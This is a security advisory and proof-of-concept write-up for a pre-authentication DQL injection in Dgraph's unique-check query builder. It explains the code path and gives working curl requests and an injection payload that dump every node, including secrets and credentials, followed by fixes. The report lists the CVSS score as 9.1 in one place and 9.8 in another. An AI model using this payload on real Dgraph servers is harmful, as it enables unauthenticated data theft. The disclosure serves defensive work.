CVE-2026-41328

1. Executive Summary

A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.

The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with @unique @index(exact) @lang via /alter (also unauthenticated in default config). The second sends a crafted JSON mutation to /mutate?commitNow=true where a JSON key contains the predicate name followed by @ and a DQL injection payload in the language tag position.

The injection exploits the addQueryIfUnique function in edgraph/server.go, which constructs DQL queries using fmt.Sprintf with unsanitized predicateName that includes the raw pred.Lang value. The Lang field is extracted from JSON mutation keys by x.PredicateLang(), which splits on @, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the eq() function, adds an arbitrary named query block, and uses a # comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.

POC clip: 

https://github.com/user-attachments/assets/bbfb7bba-c957-4b57-b534-48a958314186

​

2. CVSS Score

CVSS 3.1: 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

​

| Metric              | Value     | Rationale                                                                                                                          |

| ------------------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------- |

| Attack Vector       | Network   | HTTP POST to port 8080                                                                                                             |

| Attack Complexity   | Low       | Two requests, deterministic outcome, no special conditions                                                                         |

| Privileges Required | None      | No authentication when ACL is disabled (default)                                                                                   |

| User Interaction    | None      | Fully automated                                                                                                                    |

| Scope               | Unchanged | Stays within the Dgraph data layer                                                                                                 |

| Confidentiality     | High      | Full database exfiltration: all nodes, all predicates, all values                                                                  |

| Integrity           | High      | The mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter |

| Availability        | None      | No denial of service                                                                                                               |

​

3. Vulnerability Summary

​

| Field | Value                                                                       |

| ----- | --------------------------------------------------------------------------- |

| Title | Pre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique |

| Type  | Injection                                                                   |

| CWE   | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)   |

| CVSS  | 9.8                                                                         |

​

4. Target Information

​

| Field                 | Value                                                                                                                    |

| --------------------- | ------------------------------------------------------------------------------------------------------------------------ |

| Project               | Dgraph                                                                                                                   |

| Repository            | https://github.com/dgraph-io/dgraph                                               |

| Tested version        | v25.3.0                                                                                                                  |

| Lang split            | x/x.go line 919 (PredicateLang splits on @, returns everything after as Lang)                                    |

| Lang assignment       | chunker/json_parser.go line 524 (nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate))                              |

| Validation gap        | edgraph/server.go line 2142 (validateKeys checks nq.Predicate only, never nq.Lang)                               |

| Injection sink        | edgraph/server.go line 1808 (fmt.Sprintf with predicateName containing raw pred.Lang)                            |

| predicateName build   | edgraph/server.go line 1780 (fmt.Sprintf("%v@%v", predicateName, pred.Lang))                                         |

| Auth bypass (query)   | edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil)                                   |

| Auth bypass (mutate)  | edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil)                                |

| Response exfiltration | dgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json))                                       |

| HTTP port             | 8080 (default)                                                                                                           |

| Prerequisite          | A predicate with @unique @index(exact) @lang in the schema. The attacker can create this via unauthenticated /alter. |

​

5. Test Environment

​

| Component      | Version / Details                                                  |

| -------------- | ------------------------------------------------------------------ |

| Host OS        | macOS (darwin 25.3.0)                                              |

| Dgraph         | v25.3.0 via dgraph/dgraph:latest Docker image                    |

| Docker Compose | 1 Zero + 1 Alpha, default config, whitelist=0.0.0.0/0 |

| Python         | 3.x with requests                                                |

| Network        | localhost (127.0.0.1)                                              |

​

6. Vulnerability Detail

Location: edgraph/server.go lines 1778-1808 (addQueryIfUnique)

CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

The /mutate endpoint accepts JSON mutations. When a predicate has the @unique directive, the addQueryIfUnique function builds a DQL query to check whether the value already exists.

The JSON chunker at json_parser.go:524 splits mutation keys on @ via x.PredicateLang:

nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)

PredicateLang at x/x.go:919 splits on the last @ and returns everything after it as the Lang string with no validation:

func PredicateLang(s string) (string, string) {
    i := strings.LastIndex(s, "@")
    if i <= 0 {
        return s, ""
    }
    return s[0:i], s[i+1:]
}

validateKeys at server.go:2142 validates only nq.Predicate. It never touches nq.Lang:

func validateKeys(nq *api.NQuad) error {
    if err := validateKey(nq.Predicate); err != nil {
        return errors.Wrapf(err, "predicate %q", nq.Predicate)
    }
    for i := range nq.Facets {
        // ... validates facet keys ...
    }
    return nil  // nq.Lang is never checked
}

addQueryIfUnique at server.go:1778-1808 builds predicateName from the predicate and the raw Lang, then interpolates it into a DQL query via fmt.Sprintf:

predicateName := fmt.Sprintf("<%v>", pred.Predicate)
if pred.Lang != "" {
    predicateName = fmt.Sprintf("%v@%v", predicateName, pred.Lang)
}
// ...
query := fmt.Sprintf(`%v as var(func: eq(%v,"%v"))`, queryVar, predicateName, val[1:len(val)-1])

There is no escaping, no parameterization, no structural validation, and no character allowlist applied to pred.Lang anywhere between the HTTP input and the fmt.Sprintf query construction.

An attacker crafts a JSON mutation key:

name@en,"x")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #

After PredicateLang splits on @:

• Predicate = name (passes all validation)
• Lang = en,"x")) leak(func: has(dgraph.type)) { ... } } # (never validated)

The constructed DQL becomes:

{
  __dgraph_uniquecheck_0__ as var(func: eq(<name>@en,"x"))
  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key }
}

The # comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a var query (returns empty) and a named leak query that exfiltrates all data. The uniqueness check passes (no existing name@en equals "x"), so the mutation succeeds, and the injected query results are returned in data.queries.leak.

7. Full Chain Explanation

The attacker has no Dgraph credentials and no prior access to the server.

Step 1. The attacker creates the required schema via unauthenticated /alter:

POST /alter HTTP/1.1
Host: TARGET:8080
name: string @unique @index(exact) @lang .

No X-Dgraph-AccessToken header. In default configuration, /alter has no authentication when ACL is disabled.

Step 2. The attacker sends the injection payload:

POST /mutate?commitNow=true HTTP/1.1
Host: TARGET:8080
Content-Type: application/json
{
  "set": [{
    "uid": "_:inject",
    "name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #": "anything"
  }]
}

Step 3. mutationHandler at http.go:345 parses the JSON body. The key name@en,... is treated as predicate name with language tag en,"x")) leak(...) } } #.

Step 4. x.PredicateLang at x.go:919 splits the key on the last @. The Predicate is name. The Lang is the injection payload.

Step 5. validateKeys at server.go:2142 validates only nq.Predicate (name), which passes. nq.Lang is never checked.

Step 6. addQueryIfUnique at server.go:1778 constructs predicateName by appending the raw pred.Lang at line 1780. At line 1808, fmt.Sprintf interpolates this into the DQL query string.

Step 7. dql.ParseWithNeedVars parses the constructed DQL. It encounters the original var query and the injected leak query. Both are accepted as valid DQL.

Step 8. authorizeQuery at access.go:958 returns nil because AclSecretKey == nil (default). No predicate-level authorization is performed.

Step 9. processQuery executes both queries. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.

Step 10. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates.

8. Proof of Concept

Files

​

| File               | Purpose                                                      |

| ------------------ | ------------------------------------------------------------ |

| report.md                  | This vulnerability report                                        |

| poc.py                     | Exploit: sets up schema, seeds data, injects, prints leak        |

| docker-compose.yml         | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config)    |

| DGraphPreAuthLangDQL.mp4   | Screen recording of the full attack from start to exfiltration   |

ZIP with all the relevant files: 

DGraphPreAuthDQLLang.zip

​

poc.py

The exploit performs three operations: (1) creates the @unique @index(exact) @lang schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.

Tested Output

$ python3 poc.py
[*] Target: http://localhost:8080
[*] LEAD_002: DQL Injection via NQuad Lang Field in addQueryIfUnique
[+] Schema created: name @unique @index(exact) @lang
[+] Seed data inserted (4 nodes with secrets)
[*] Sending injection payload to http://localhost:8080/mutate?commitNow=true
[+] SUCCESS: Exfiltrated 5 nodes via DQL injection!
============================================================
  UID: 0xf5fcd
  Type: ['dgraph.graphql']
  Name: N/A
  Email: N/A
----------------------------------------
  UID: 0xf5fce
  Type: ['Person']
  Name: Alice
  Email: alice@example.com
  SECRET: s3cr3t_alice
----------------------------------------
  UID: 0xf5fcf
  Type: ['Person']
  Name: Bob
  Email: bob@corp.com
  SECRET: bob_password_123
----------------------------------------
  UID: 0xf5fd0
  Type: ['Admin']
  Name: root
  Email: admin@internal
  SECRET: ADMIN_MASTER_KEY_DO_NOT_SHARE
----------------------------------------
  UID: 0xf5fd1
  Type: ['ServiceAccount']
  Name: prod-s3-backup
  Email: infra@corp.com
  AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
  AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
----------------------------------------
============================================================
[+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field
[+] Impact: Full database read access without authentication

9. Steps to Reproduce

Prerequisites

• Python 3 with requests (pip install requests)
• Docker and Docker Compose

Step 1: Start Dgraph

cd LEAD_002_DQL_LANG
docker compose up -d

Wait for health:

curl http://localhost:8080/health

Step 2: Run the exploit

python3 poc.py

The PoC handles schema creation, data seeding, and exploitation automatically.

Step 3: Manual reproduction

To reproduce manually without the PoC script:

## Set up schema
curl -s -X POST http://localhost:8080/alter -d '
name: string @unique @index(exact) @lang .
email: string @index(exact) .
secret: string .
aws_access_key_id: string .
aws_secret_access_key: string .
'
## Seed data
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[
    {"dgraph.type":"Person","name":"Alice","email":"alice@example.com","secret":"s3cr3t_alice"},
    {"dgraph.type":"Admin","name":"root","email":"admin@internal","secret":"ADMIN_MASTER_KEY"},
    {"dgraph.type":"ServiceAccount","name":"prod-s3-backup","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}
  ]}'
## Exploit: single request exfiltrates everything
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[{"uid":"_:x","name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #":"anything"}]}' \
  | python3 -m json.tool

What to verify

1. HTTP POST returns 200 (endpoint is reachable without auth)
2. Response contains data.queries.leak with an array of nodes
3. The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means
4. The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow

10. Mitigations and Patch

Location: edgraph/server.go, addQueryIfUnique (line 1778) and x/x.go, PredicateLang (line 919)

1. Validate nq.Lang: Add validation in validateKeys (or a new validateLang function) that restricts the Lang field to BCP 47 language tags: ^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$. Reject any Lang value containing parentheses, braces, quotes, #, newlines, or other DQL-significant characters.
2. Parameterize DQL queries: Replace the fmt.Sprintf query construction in addQueryIfUnique with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string.
3. Escape at the sink: If parameterization is not immediately feasible, escape DQL-significant characters (), {, }, ", #, newlines) in both predicateName and val before interpolation at line 1808.
4. Defense in depth: After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one var(...) block per unique predicate. Any additional blocks indicate injection.